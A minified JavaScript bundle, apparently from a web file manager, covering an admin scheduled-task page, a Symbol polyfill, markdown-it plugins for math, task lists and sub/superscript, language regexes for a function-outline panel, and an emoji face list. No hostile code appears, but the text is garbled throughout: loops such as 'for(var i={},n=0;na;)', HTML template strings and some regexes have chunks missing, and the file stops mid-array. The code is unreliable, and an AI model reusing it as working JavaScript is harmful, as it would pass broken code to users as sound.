n["default"]({"parent":this,"type":this.type}),this.taskTable=this.table.make(this.type),this.toolBar()},"timeOption":function(){for(var e={"1":LNG["common.mon"],"2":LNG["common.tue"],"3":LNG["common.wed"],"4":LNG["common.thu"],"5":LNG["common.fri"],"6":LNG["common.sat"],"7":LNG["common.sun"]},t={},i=1;i<=31;i++)t[""+i]=i;return{"week":e,"month":t}},"toolBar":function(){var e='",t='\n\t\t
    \n\t\t\t\n\t\t
    \n\t\t
    \n\t\t\t\n\t\t
    ';return this.taskTable.$(".toolbar .left").html(e),this.taskTable.$(".toolbar .right").html(t),!1},"querySearch":function(e){var t=$(e.currentTarget);t.parent().find("button").removeClass("active"),t.addClass("active");var i=t.attr("data");this.taskTable.refresh({"enable":i})},"clearSearch":function(){var e=this.taskTable.$(".toolbar .right");e.find(".search-box input").val(""),e.find(".btn-group button:eq(0)").click()},"taskEnable":function(e){var t=$(e.currentTarget),i=t.prop("checked")?"1":"0",n=t.parents(".list-row").find(".list-col[field=id]>div").attr("data");this.action.exec("enable",n,{"enable":i})},"bindEvent":function(){var r=this;this.$(".task-page").delegate("[action-data]","click",function(e){var t=$(this).attr("action-data"),i=$(this).parent().attr("data"),n={};if(_.includes(["run","remove"],t)){var a="run"==t?LNG["admin.task.ifRun"]:LNG["common.ifDel"],s="run"==t?"":LNG["common.delete"];return $.dialog.confirm(a,function(){return r.action.exec(t,i,n)},!1,s),!1}"log"==t&&(n.name=$(this).parents(".list-row").find("[field=name]").text()),r.action.exec(t,i,n)}),this.dropMenu.action(this.taskTable),this.dragRow.sort(function(e){r.action.request("sort",{"ids":e},!1)}),this.$(".auto-task-restart").bind("click",function(){r.adminModel.requestSend("admin/autoTask/taskRestart",{}),Tips.tips(LNG["admin.autoTask.restartEnd"])})}})},function(e,t,i){"use strict";e.exports=function(i){var r=[];return r.toString=function(){return this.map(function(e){var t=function o(e,t){var i=e[1]||"",n=e[3];if(!n)return i;if(t&&"function"==typeof btoa){var a=function r(e){return"/*# sourceMappingURL=data:application/json;charset=utf-8;base64,"+btoa(unescape(encodeURIComponent(JSON.stringify(e))))+" */"}(n),s=n.sources.map(function(e){return"/*# sourceURL="+n.sourceRoot+e+" */"});return[i].concat(s).concat([a]).join("\n")}return[i].join("\n")}(e,i);return e[2]?"@media "+e[2]+"{"+t+"}":t}).join("")},r.i=function(e,t){"string"==typeof e&&(e=[[null,e,""]]);for(var i={},n=0;na;)d(H,t=i[a++])||t==q||t==f||n.push(t);return n}function l(e){for(var t,i=e===V,n=I(i?B:M(e)),a=[],s=0;n.length>s;)!d(H,t=n[s++])||i&&!d(V,t)||a.push(H[t]);return a}var c=i(3),d=i(18),u=i(11),h=i(8),p=i(78),f=i(55).KEY,m=i(19),w=i(49),v=i(30),g=i(37),x=i(4),b=i(74),C=i(75),D=i(241),y=i(114),k=i(12),O=i(9),M=i(20),K=i(56),L=i(33),T=i(58),_=i(242),A=i(243),N=i(10),S=i(27),$=A.f,G=N.f,I=_.f,E=c.Symbol,j=c.JSON,P=j&&j.stringify,R="prototype",q=x("_hidden"),F=x("toPrimitive"),z={}.propertyIsEnumerable,U=w("symbol-registry"),H=w("symbols"),B=w("op-symbols"),V=Object[R],Q="function"==typeof E,X=c.QObject,W=!X||!X[R]||!X[R].findChild,Y=u&&m(function(){return 7!=T(G({},"a",{"get":function(){return G(this,"a",{"value":7}).a}})).a})?function(e,t,i){var n=$(V,t);n&&delete V[t],G(e,t,i),n&&e!==V&&G(V,t,n)}:G,J=Q&&"symbol"==typeof E.iterator?function(e){return"symbol"==typeof e}:function(e){return e instanceof E},Z=function(e,t,i){return e===V&&Z(B,t,i),k(e),t=K(t,!0),k(i),d(H,t)?(i.enumerable?(d(e,q)&&e[q][t]&&(e[q][t]=!1),i=T(i,{"enumerable":L(0,!1)})):(d(e,q)||G(e,q,L(1,{})),e[q][t]=!0),Y(e,t,i)):G(e,t,i)};Q||(p((E=function(){if(this instanceof E)throw TypeError("Symbol is not a constructor!");var t=g(0te;)x(ee[te++]);for(var ie=S(x.store),ne=0;ie.length>ne;)C(ie[ne++]);h(h.S+h.F*!Q,"Symbol",{"for":function(e){return d(U,e+="")?U[e]:U[e]=E(e)},"keyFor":function(e){if(!J(e))throw TypeError(e+" is not a symbol!");for(var t in U)if(U[t]===e)return t},"useSetter":function(){W=!0},"useSimple":function(){W=!1}}),h(h.S+h.F*!Q,"Object",{"create":function(e,t){return t===undefined?T(e):a(T(e),t)},"defineProperty":Z,"defineProperties":a,"getOwnPropertyDescriptor":r,"getOwnPropertyNames":o,"getOwnPropertySymbols":l}),j&&h(h.S+h.F*(!Q||m(function(){var e=E();return"[null]"!=P([e])||"{}"!=P({"a":e})||"{}"!=P(Object(e))})),"JSON",{"stringify":function(e){for(var t,i,n=[e],a=1;ar;)s.call(e,n=a[r++])&&t.push(n);return t}},function(t,i,n){var a=n(20),s=n(112).f,r={}.toString,o="object"==typeof window&&window&&Object.getOwnPropertyNames?Object.getOwnPropertyNames(window):[];t.exports.f=function(t){return o&&"[object Window]"==r.call(t)?function(t){try{return s(t)}catch(e){return o.slice()}}(t):s(a(t))}},function(t,i,n){var a=n(42),s=n(33),r=n(20),o=n(56),l=n(18),c=n(77),d=Object.getOwnPropertyDescriptor;i.f=n(11)?d:function(t,i){if(t=r(t),i=o(i,!0),c)try{return d(t,i)}catch(e){}if(l(t,i))return s(!a.f.call(t,i),t[i])}},function(e,t,i){i(75)("asyncIterator")},function(e,t,i){i(75)("observable")},function(e,t,i){e.exports={"default":i(247),"__esModule":!0}},function(e,t,i){i(248);var n=i(1).Object;e.exports=function(e,t,i){return n.defineProperty(e,t,i)}},function(e,t,i){var n=i(8);n(n.S+n.F*!i(11),"Object",{"defineProperty":i(10).f})},function(e,t,i){i(250),e.exports=i(1).Object.keys},function(e,t,i){var n=i(38),a=i(27);i(113)("keys",function(){return function(e){return a(n(e))}})},function(e,t,i){e.exports={"default":i(252),"__esModule":!0}},function(e,t,i){var n=i(1),a=n.JSON||(n.JSON={"stringify":JSON.stringify});e.exports=function(e){return a.stringify.apply(a,arguments)}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=x(i(254)),a=x(i(255)),s=x(i(256)),r=x(i(257)),o=x(i(258)),l=x(i(259)),c=x(i(260)),d=x(i(261)),u=x(i(262)),h=x(i(263)),p=x(i(264)),f=(x(i(268)),x(i(269))),m=x(i(270)),w=x(i(272)),v=(x(i(276)),x(i(277))),g=x(i(279));function x(e){return e&&e.__esModule?e:{"default":e}}var b=[[n["default"],{}],[a["default"],{}],[s["default"],{"enabled":!0,"label":!0}],[r["default"],{}],[o["default"],{}],[d["default"],{}],[u["default"],{}],[h["default"],{}],[p["default"],{}],[f["default"],{}],[m["default"]],[w["default"],{"attrs":{"target":"_blank"}}],[v["default"]],[g["default"]]],C=(0,c["default"])();_.each(C,function(e){b.push([l["default"],e.type,e.parse])}),t["default"]=b},function(e,t,i){"use strict";function r(e,t){var i,n,a=e.posMax,s=!0,r=!0;return i=0/g,">").replace(/"/g,""").replace(/'/g,"'")}Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function d(e,t){t=t||{};var i=function i(e){t.displayMode=!1;try{return katex.renderToString(e,t)}catch(error){return t.throwOnError&&console.log(error),""+c(e)+""}},n=function n(e,t){return i(e[t].content)},a=function a(e){t.displayMode=!0;try{return"

    "+katex.renderToString(e,t)+"

    "}catch(error){return t.throwOnError&&console.log(error),"

    "+c(e)+"

    "}},s=function s(e,t){return a(e[t].content)+"\n"};e.inline.ruler.after("escape","math_inline",o),e.block.ruler.after("blockquote","math_block",l,{"alt":["paragraph","reference","blockquote","list"]}),e.renderer.rules.math_inline=n,e.renderer.rules.math_block=s}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e){e.inline.ruler.before("emphasis","mark",function l(e,t){var i,n,a,s,r=e.pos,o=e.src.charCodeAt(r);if(t)return!1;if(61!==o)return!1;if(a=(n=e.scanDelims(e.pos,!0)).length,s=String.fromCharCode(o),a<2)return!1;for(a%2&&(e.push("text","",0).content=s,a--),i=0;i':0!==e.content.indexOf("[x] ")&&0!==e.content.indexOf("[X] ")||(i.content='');return i}(e,t)),e.children[1].content=e.children[1].content.slice(3),e.content=e.content.slice(3),o)if(l){e.children.pop();var i="task-item-"+Math.ceil(1e7*Math.random()-1e3);e.children[0].content=e.children[0].content.slice(0,-1)+' id="'+i+'">',e.children.push(function s(e,t,i){var n=new i("html_inline","",0);return n.content='",n.attrs=[{"for":t}],n}(e.content,i,t))}else e.children.unshift(function n(e){var t=new e("html_inline","",0);return t.content="",t}(t))}t.exports=function(e,t){t&&(c=!t.enabled,o=!!t.label,l=!!t.labelAfter),e.core.ruler.after("inline","github-task-lists",function(e){for(var t,i,n=e.tokens,a=2;a?@[\]^_`{|}~-])/g;function n(e,t){var i,n,a=e.posMax,s=e.pos;if(126!==e.src.charCodeAt(s))return!1;if(t)return!1;if(a<=s+2)return!1;for(e.pos=s+1;e.pos?@[\]^_`{|}~-])/g;function n(e,t){var i,n,a=e.posMax,s=e.pos;if(94!==e.src.charCodeAt(s))return!1;if(t)return!1;if(a<=s+2)return!1;for(e.pos=s+1;e.pos
    ":"string"==typeof t?t:t!=undefined&&null!=t?(0,y["default"])(t):" ",v&&v[e]===s[e]||(i=''+i+""),n.push("
  • "+i+"
  • ")}),v=s,t(n.join(""))})}},b=function b(e,t){try{return function o(e,t){var i,n,a,s,r=e.indexOf("=");for(-1!=r&&(e=e.substr(r+1)),e+=" ",c=[],0;0No outline for the active view'},"bindEvent":function(e){var t=this;this.$search.bind("keydown",_.bind(this.searchKeyDown,this)),this.$(".tool-close").bind("click",function(){t.display(!1)}),this.$(".search-reset").bind("click",function(){t.$search.val(""),t.searchChange(),t.editorMain.focus()});var i=this.$listBox;i.bind("mousedown",function(e){if(1!=e.which)return!0;this.setCapture&&this.setCapture();$(document).one("mouseup",function(e){i.removeClass("mouseIsDown"),i.releaseCapture&&i.releaseCapture()})}),i.bind("mouseup",function(){t.$search.focusPose()}).delegate(".list-row","mouseover mousedown mouseout mouseup",function(e){t.listMouseEvent(e,$(this))}),this.listenTo(this.preview,"editor.change",this.editorChange)},"support":function(){var e=this.editor.kod.mode;if(!this.editor.kod.modeShowHide)return _.includes(_.keys(u["default"]),e)},"editorChange":function(){this.previewShow&&this.reloadList()},"display":function(e){if(e&&!this.support())return Tips.tips(LNG["explorer.errorFunctionTips"],"warning");if(e){this.initPreviewFinished||(this.initPreviewFinished=!0,this.initPreview());var t="1"==this.editorMain.editorConfig.functionList;if(this.previewShow)return t&&this.editorMain.saveConfig("functionList",0),this.display(!1);t||this.editorMain.saveConfig("functionList",1),this.preview.display(!0,this.displayWidth(),this),this.editorChange()}else this.preview.display(!1,!1,this)},"searchKeyDown":function(e){var t=this.$(".row-select");switch(e.keyCode){case 37:case 39:break;case 38:0!=t.prev().length&&(this.selectFunction(t.prev()),this.selectIntoView()),stopPP(e);break;case 40:0!=t.next().length&&(this.selectFunction(t.next()),this.selectIntoView()),stopPP(e);break;case 27:this.selectFunction(t),this.$search.val(""),this.searchChange(),this.editorMain.focus(),stopPP(e);break;case 13:this.editorMain.focus(),stopPP(e);break;default:this.searchChange()}},"listMouseEvent":function(e,t){var i=this.$listBox,n="mouseIsDown";switch(e.type){case"mouseover":i.hasClass(n)?this.selectFunction(t):t.addClass("row-hover");break;case"mousedown":this.selectFunction(t),i.addClass(n);break;case"mouseout":t.removeClass("row-hover");break;case"mouseup":i.removeClass(n)}},"reloadList":function(){var e=this.editor,t=function t(e){return _.trim(e).replace(/(\{$)/,"")},i=this.listMake(e.getValue(),e.kod.mode);if(!_.isArray(i)||0==i.length)return this.$listBox.html(this.listEmpty);var n=e.getCursorPosition().row;this.listHtml="";for(var a=0;a=r.start.row&&i[a+1].range&&n=r.start.row&&(s.type+=" row-select");var o=r.start.row+","+r.start.column+","+r.end.row+","+r.end.column,l=t(t(s.theMatch)).substr(0,150);this.listHtml+='\n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t'+this.outStr(s.name)+"\n\t\t\t\t
    "}}this.selectIntoView(),this.functionSearch(!0)},"functionSearch":function(e){var i=this.$search.val();if(this.listHtml){if(!i||""==i)return this.$listBox.html(this.listHtml),void this.selectIntoView();var t=$("
    "+this.listHtml+"
    ");t.find(".cell").each(function(){var e=$(this).text(),t=e.toLowerCase().indexOf(i.toLowerCase());-1!=t?(e=e.substr(0,t)+""+e.substr(t,i.length)+""+e.substr(t+i.length),$(this).html(e)):$(this).parent().remove()}),this.$listBox.html(t.html()),e||this.selectFunction($(this.$listBox.find(".list-row").get(0)))}else this.$listBox.html(this.listEmpty)},"selectFunction":function(e){if(1==e.length){this.$listBox.find(".list-row").removeClass("row-select"),e.addClass("row-select");var t=e.attr("data-range").split(","),i={"start":{"row":parseInt(t[0]),"column":parseInt(t[1])},"end":{"row":parseInt(t[2]),"column":parseInt(t[3])}};this.editor.revealRange(i),this.$search.focusPose()}},"selectIntoView":function(){var e=this.$listBox;if(e.outerHeight()!=e.prop("scrollHeight")){var t=e.scrollTop(),i=t+e.height(),n=e.find(".row-select").index(),a=e.find(".list-row:eq(0)").outerHeight(),s=e.scrollTop();n*a=c&&l.posStart<=c+r[d].length;)n[o].range={"start":{"row":d,"column":l.posStart-c},"end":{"row":d,"column":l.posEnd-c}},l=n[++o];c=c+r[d].length+1}return n}},"regExec":function(e,t){var i=e.match(t.reg);if(i){for(var n=[],a=i.length,s=0,r=e,o=0;o/gi,">")}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]={"php":[{"reg":/\n.*?\s*function\s+([_\w]+)\s*\(.*\)*/g,"regName":/.*function\s+(.*\))/,"regIndex":1,"typeExtents":{"function-value":/\s*(private|protected)\s*/,"function-var":/\s*(public)\s*/},"type":"function"},{"reg":/\s*class\s+(\w*)\s*.*\{/g,"regName":/\s*class\s+(\w*)\s*.*\{/,"regIndex":1,"type":"class"}],"javascript":[{"reg":/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,"regName":/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*(.*)/,"regIndex":1,"regNameAll":[1,2],"type":"function function-var"},{"reg":/\s*function[\*\s]+([\w\s]+)\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,"regName":/\s*function[\*\s]+([\w\s]+)\s*(.*)/,"regIndex":1,"regNameAll":[1,2],"type":"function function-define"},{"reg":/\s*([\w\.]+)\s*:\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,"regName":/\s*([\w\.]+)\s*:\s*function\s*(\([\w,\s\*\[\]\<\>&$]*\))/,"regIndex":1,"regNameAll":[1,2],"type":"function function-value"}],"python":[{"reg":/\s*class\s+(\w+)\s*\(/g,"regName":/\s*class\s+(\w+)\s*\(/,"regIndex":1,"type":"class"},{"reg":/\s*def\s+(\w+)\s*\(.*\)/g,"regName":/\s*def\s+(\w+)\s*\(.*\)/,"regIndex":1,"type":"function"}],"ruby":[{"reg":/\s*class\s+(\w+)\s*/g,"regName":/\s*class\s+(\w+)\s*/,"regIndex":1,"type":"class"},{"reg":/\s*def\s+(\w+)\s*/g,"regName":/\s*def\s+(\w+)\s*/,"regIndex":1,"type":"function"}],"golang":[{"reg":/\s*class\s+(\w+)\s*/g,"regName":/\s*class\s+(\w+)\s*/,"regIndex":1,"type":"class"},{"reg":/\s*func\s+(\w+)\s*.*\{/g,"regName":/\s*func\s+(\w+)\s*/,"regIndex":1,"type":"function"}],"java":[{"reg":/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/g,"regName":/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/,"regIndex":3,"type":"function"},{"reg":/\s*class\s+(\w+)\s*/g,"regName":/\s*class\s+(\w+)\s*/,"regIndex":1,"type":"class"}],"csharp":[{"reg":/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/g,"regName":/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/,"regIndex":2,"type":"function"},{"reg":/\s*class\s+(\w+)\s*/g,"regName":/\s*class\s+(\w+)\s*/,"regIndex":1,"type":"class"}],"actionscript":[{"reg":/\s*function\s*(\w+)\s*\(.*\).*\s*\{/g,"regName":/\s*function\s*(\w+)\s*\(.*\).*\s*\{/,"regIndex":1,"type":"function"},{"reg":/\s*class\s+(\w+)\s*.*\{/g,"regName":/\s*class\s+(\w+)\s*.*\{/,"regIndex":1,"type":"class"}],"objectivec":[{"reg":/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/g,"regName":/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/,"regIndex":1,"type":"function"},{"reg":/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/g,"regName":/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/,"regIndex":1,"type":"function"},{"reg":/@implementation\s+(\w*)/g,"regName":/@implementation\s+(\w*)/,"regIndex":1,"type":"class"},{"reg":/#pragma\s+(mark\s+)?(.*)/g,"regName":/#pragma\s+(mark\s+)?(.*)/,"regIndex":2,"type":"mark"}],"c_cpp":[{"reg":/([\w*]+\s+)+\*?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,"regName":/\s+(\w+)\s*\(/,"regIndex":1,"type":"function"},{"reg":/\s*(\w+)::~?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,"regName":/\s*(\w+)::~?(\w+)\s*\(/,"regIndex":2,"type":"function function-define"},{"reg":/\s*class\s+(\w+)\s*:/g,"regName":/\s*class\s+(\w+)\s*:/,"regIndex":1,"type":"class"}]}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+='',e,!1);this.$panel=$(t).insertAfter(this.$emojiBtn)},"display":function(e){var t=this;if(e){this.$emojiBtn.addClass("panel-open"),this.$panel.removeClass("hidden"),this.$panel.fadeIn(150),this.displayFirst||(this.displayFirst=!0,this.$panel.find(".perfectScroll").perfectScroll(),this.$panel.find(".tab-item").first().click());var i=_.extend({"of":this.$emojiBtn,"at":"left bottom","my":"left top","collision":"flip"},this.positionAt);this.$panel.position(i)}else this.$emojiBtn.removeClass("panel-open"),this.$panel.fadeOut(150,function(){t.$panel&&t.$panel.addClass("hidden")})},"bindEvent":function(){var a=this;this.$emojiBtn.bind("click",function(){var e=a.$panel.hasClass("hidden");a.display(e)});var s=function s(e){if(!$.targetParent(e,a.$emojiBtn)){var t=$.targetParent(e,".emoji-panel"),i=a.$emojiBtn.parent().find(".emoji-panel");if(t&&t.is(i)){var n=$.targetParent(e,".item-face");n&&(a.display(!1),a.parent.insertText(n.attr("data-text")))}else a.display(!1)}};$(document).bind("click",s),this.bind("onRemove",function(){$(document).unbind("click",s)})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.type="qq",this.name=LNG["common.faceDefault"]},"htmlPanel":function(){return this.makeHtmlPanel()},"toText":function(e){return e},"toHtml":function(e){return this.parseToHtml(e)},"faceArr":[{"id":"1_smile","cn":"微笑","hk":"微笑","us":"Smile","code":"/::)","web_code":"/微笑"},{"id":"2_grimace","cn":"撇嘴","hk":"撇嘴","us":"Grimace","code":"/::~","web_code":"/撇嘴"},{"id":"3_drool","cn":"色","hk":"色","us":"Drool","code":"/::B","web_code":"/色"},{"id":"4_scowl","cn":"发呆","hk":"發呆","us":"Scowl","code":"/::|","web_code":"/发呆"},{"id":"5_coolguy","cn":"得意","hk":"得意","us":"CoolGuy","code":"/:8-)","web_code":"/得意"},{"id":"6_sob","cn":"流泪","hk":"流淚","us":"Sob","code":"/::<","web_code":"/流泪"},{"id":"7_shy","cn":"害羞","hk":"害羞","us":"Shy","code":"/::$","web_code":"/害羞"},{"id":"8_silent","cn":"闭嘴","hk":"閉嘴","us":"Silent","code":"/::X","web_code":"/闭嘴"},{"id":"9_sleep","cn":"睡","hk":"睡","us":"Sleep","code":"/::Z","web_code":"/睡"},{"id":"10_cry","cn":"大哭","hk":"大哭","us":"Cry","code":"/::'(","web_code":"/大哭"},{"id":"11_awkward","cn":"尴尬","hk":"尷尬","us":"Awkward","code":"/::-|","web_code":"/尴尬"},{"id":"12_angry","cn":"发怒","hk":"發怒","us":"Angry","code":"/::@","web_code":"/发怒"},{"id":"13_tongue","cn":"调皮","hk":"調皮","us":"Tongue","code":"/::P","web_code":"/调皮"},{"id":"14_grin","cn":"呲牙","hk":"呲牙","us":"Grin","code":"/::D","web_code":"/呲牙"},{"id":"15_surprise","cn":"惊讶","hk":"驚訝","us":"Surprise","code":"/::O","web_code":"/惊讶"},{"id":"16_frown","cn":"难过","hk":"難過","us":"Frown","code":"/::(","web_code":"/难过"},{"id":"17_ruthless","cn":"酷","hk":"酷","us":"Ruthless","code":"/::+","web_code":"/酷"},{"id":"18_blush","cn":"冷汗","hk":"冷汗","us":"Blush","code":"/:--b","web_code":"/冷汗"},{"id":"19_scream","cn":"抓狂","hk":"抓狂","us":"Scream","code":"/::Q","web_code":"/抓狂"},{"id":"20_puke","cn":"吐","hk":"吐","us":"Puke","code":"/::T","web_code":"/吐"},{"id":"21_chuckle","cn":"偷笑","hk":"偷笑","us":"Chuckle","code":"/:,@P","web_code":"/偷笑"},{"id":"22_joyful","cn":"愉快","hk":"愉快","us":"Joyful","code":"/:,@-D","web_code":"/可爱"},{"id":"23_slight","cn":"白眼","hk":"白眼","us":"Slight","code":"/::d","web_code":"/白眼"},{"id":"24_smug","cn":"傲慢","hk":"傲慢","us":"Smug","code":"/:,@o","web_code":"/傲慢"},{"id":"25_hungry","cn":"饥饿","hk":"饑餓","us":"Hungry","code":"/::g","web_code":"/饥饿"},{"id":"26_drowsy","cn":"困","hk":"累","us":"Drowsy","code":"/:|-)","web_code":"/困"},{"id":"27_panic","cn":"惊恐","hk":"驚恐","us":"Panic","code":"/::!","web_code":"/惊恐"},{"id":"28_sweat","cn":"流汗","hk":"流汗","us":"Sweat","code":"/::L","web_code":"/流汗"},{"id":"29_laugh","cn":"憨笑","hk":"大笑","us":"Laugh","code":"/::>","web_code":"/憨笑"},{"id":"30_commando","cn":"悠闲","hk":"悠閑","us":"Commando","code":"/::,@","web_code":"/大兵"},{"id":"31_determined","cn":"奋斗","hk":"奮鬥","us":"Determined","code":"/:,@f","web_code":"/奋斗"},{"id":"32_scold","cn":"咒骂","hk":"咒罵","us":"Scold","code":"/::-S","web_code":"/咒骂"},{"id":"33_shocked","cn":"疑问","hk":"疑問","us":"Shocked","code":"/:?","web_code":"/疑问"},{"id":"34_shhh","cn":"嘘","hk":"噓","us":"Shhh","code":"/:,@x","web_code":"/嘘"},{"id":"35_dizzy","cn":"晕","hk":"暈","us":"Dizzy","code":"/:,@@","web_code":"/晕"},{"id":"36_tormented","cn":"疯了","hk":"瘋了","us":"Tormented","code":"/::8","web_code":"/折磨"},{"id":"37_toasted","cn":"衰","hk":"衰","us":"Toasted","code":"/:,@!","web_code":"/衰"},{"id":"38_skull","cn":"骷髅","hk":"骷髏頭","us":"Skull","code":"/:!!!","web_code":"/骷髅"},{"id":"39_hammer","cn":"敲打","hk":"敲打","us":"Hammer","code":"/:xx","web_code":"/敲打"},{"id":"40_wave","cn":"再见","hk":"再見","us":"Wave","code":"/:bye","web_code":"/再见"},{"id":"41_speechless","cn":"擦汗","hk":"擦汗","us":"Speechless","code":"/:wipe","web_code":"/擦汗"},{"id":"42_nosepick","cn":"抠鼻","hk":"摳鼻","us":"NosePick","code":"/:dig","web_code":"/抠鼻"},{"id":"43_clap","cn":"鼓掌","hk":"鼓掌","us":"Clap","code":"/:handclap","web_code":"/鼓掌"},{"id":"44_shame","cn":"糗大了","hk":"羞辱","us":"Shame","code":"/:&-(","web_code":"/糗大了"},{"id":"45_trick","cn":"坏笑","hk":"壞笑","us":"Trick","code":"/:B-)","web_code":"/坏笑"},{"id":"46_bah-l","cn":"左哼哼","hk":"左哼哼","us":"Bah!L","code":"/:<@","web_code":"/左哼哼"},{"id":"47_bah-r","cn":"右哼哼","hk":"右哼哼","us":"Bah!R","code":"/:@>","web_code":"/右哼哼"},{"id":"48_yawn","cn":"哈欠","hk":"哈欠","us":"Yawn","code":"/::-O","web_code":"/哈欠"},{"id":"49_pooh-pooh","cn":"鄙视","hk":"鄙視","us":"Pooh-pooh","code":"/:>-|","web_code":"/鄙视"},{"id":"50_shrunken","cn":"委屈","hk":"委屈","us":"Shrunken","code":"/:P-(","web_code":"/委屈"},{"id":"51_tearingup","cn":"快哭了","hk":"快哭了","us":"TearingUp","code":"/::'|","web_code":"/快哭了"},{"id":"52_sly","cn":"阴险","hk":"陰險","us":"Sly","code":"/:X-)","web_code":"/阴险"},{"id":"53_kiss","cn":"亲亲","hk":"親親","us":"Kiss","code":"/::*","web_code":"/亲亲"},{"id":"54_wrath","cn":"吓","hk":"嚇","us":"Wrath","code":"/:@x","web_code":"/吓"},{"id":"55_whimper","cn":"可怜","hk":"可憐","us":"Whimper","code":"/:8*","web_code":"/可怜"},{"id":"56_cleaver","cn":"菜刀","hk":"菜刀","us":"Cleaver","code":"/:pd","web_code":"/菜刀"},{"id":"57_watermelon","cn":"西瓜","hk":"西瓜","us":"Watermelon","code":"/:","web_code":"/西瓜"},{"id":"58_beer","cn":"啤酒","hk":"啤酒","us":"Beer","code":"/:beer","web_code":"/啤酒"},{"id":"59_basketball","cn":"篮球","hk":"籃球","us":"Basketball","code":"/:basketb","web_code":"/篮球"},{"id":"60_pingpong","cn":"乒乓","hk":"乒乓","us":"PingPong","code":"/:oo","web_code":"/乒乓"},{"id":"61_coffee","cn":"咖啡","hk":"咖啡","us":"Coffee","code":"/:coffee","web_code":"/咖啡"},{"id":"62_rice","cn":"饭","hk":"飯","us":"Rice","code":"/:eat","web_code":"/饭"},{"id":"63_pig","cn":"猪头","hk":"豬頭","us":"Pig","code":"/:pig","web_code":"/猪头"},{"id":"64_rose","cn":"玫瑰","hk":"玫瑰","us":"Rose","code":"/:rose","web_code":"/玫瑰"},{"id":"65_fade","cn":"凋谢","hk":"枯萎","us":"Wilt","code":"/:fade","web_code":"/凋谢"},{"id":"66_lips","cn":"嘴唇","hk":"嘴唇","us":"Lips","code":"/:showlove","web_code":"/示爱"},{"id":"67_heart","cn":"爱心","hk":"愛心","us":"Heart","code":"/:heart","web_code":"/爱心"},{"id":"68_brokenheart","cn":"心碎","hk":"心碎","us":"BrokenHeart","code":"/:break","web_code":"/心碎"},{"id":"69_cake","cn":"蛋糕","hk":"蛋糕","us":"Cake","code":"/:cake","web_code":"/蛋糕"},{"id":"70_lightning","cn":"闪电","hk":"閃電","us":"Lightning","code":"/:li","web_code":"/闪电"},{"id":"71_bomb","cn":"炸弹","hk":"炸彈","us":"Bomb","code":"/:bome","web_code":"/炸弹"},{"id":"72_dagger","cn":"刀","hk":"刀","us":"Dagger","code":"/:kn","web_code":"/刀"},{"id":"73_soccer","cn":"足球","hk":"足球","us":"Soccer","code":"/:footb","web_code":"/足球"},{"id":"74_ladybug","cn":"瓢虫","hk":"甲蟲","us":"Ladybug","code":"/:ladybug","web_code":"/瓢虫"},{"id":"75_poop","cn":"便便","hk":"便便","us":"Poop","code":"/:shit","web_code":"/便便"},{"id":"76_moon","cn":"月亮","hk":"月亮","us":"Moon","code":"/:moon","web_code":"/月亮"},{"id":"77_sun","cn":"太阳","hk":"太陽","us":"Sun","code":"/:sun","web_code":"/太阳"},{"id":"78_gift","cn":"礼物","hk":"禮物","us":"Gift","code":"/:gift","web_code":"/礼物"},{"id":"79_hug","cn":"拥抱","hk":"擁抱","us":"Hug","code":"/:hug","web_code":"/拥抱"},{"id":"80_thumbsup","cn":"强","hk":"強","us":"ThumbsUp","code":"/:strong","web_code":"/强"},{"id":"81_thumbsdown","cn":"弱","hk":"弱","us":"ThumbsDown","code":"/:weak","web_code":"/弱"},{"id":"82_shake","cn":"握手","hk":"握手","us":"Shake","code":"/:share","web_code":"/握手"},{"id":"83_peace","cn":"胜利","hk":"勝利","us":"Peace","code":"/:v","web_code":"/胜利"},{"id":"84_fight","cn":"抱拳","hk":"抱拳","us":"Fight","code":"/:@)","web_code":"/抱拳"},{"id":"85_beckon","cn":"勾引","hk":"勾引","us":"Beckon","code":"/:jj","web_code":"/勾引"},{"id":"86_fist","cn":"拳头","hk":"拳頭","us":"Fist","code":"/:@@","web_code":"/拳头"},{"id":"87_pinky","cn":"差劲","hk":"差勁","us":"Pinky","code":"/:bad","web_code":"/差劲"},{"id":"88_rockon","cn":"爱你","hk":"愛你","us":"RockOn","code":"/:lvu","web_code":"/爱你"},{"id":"89_nuh-uh","cn":"NO","hk":"NO","us":"Nuh-uh","code":"/:no","web_code":"/NO"},{"id":"90_ok","cn":"OK","hk":"OK","us":"OK","code":"/:ok","web_code":"/OK"},{"id":"91_inlove","cn":"爱情","hk":"愛情","us":"InLove","code":"/:love","web_code":"/爱情"},{"id":"92_blowkiss","cn":"飞吻","hk":"飛吻","us":"Blowkiss","code":"/:","web_code":"/飞吻"},{"id":"93_waddle","cn":"跳跳","hk":"跳跳","us":"Waddle","code":"/:jump","web_code":"/跳跳"},{"id":"94_tremble","cn":"发抖","hk":"發抖","us":"Tremble","code":"/:shake","web_code":"/发抖"},{"id":"95_aaagh","cn":"怄火","hk":"噴火","us":"Aaagh!","code":"/:","web_code":"/呕火"},{"id":"96_twirl","cn":"转圈","hk":"轉圈","us":"Twirl","code":"/:circle","web_code":"/转圈"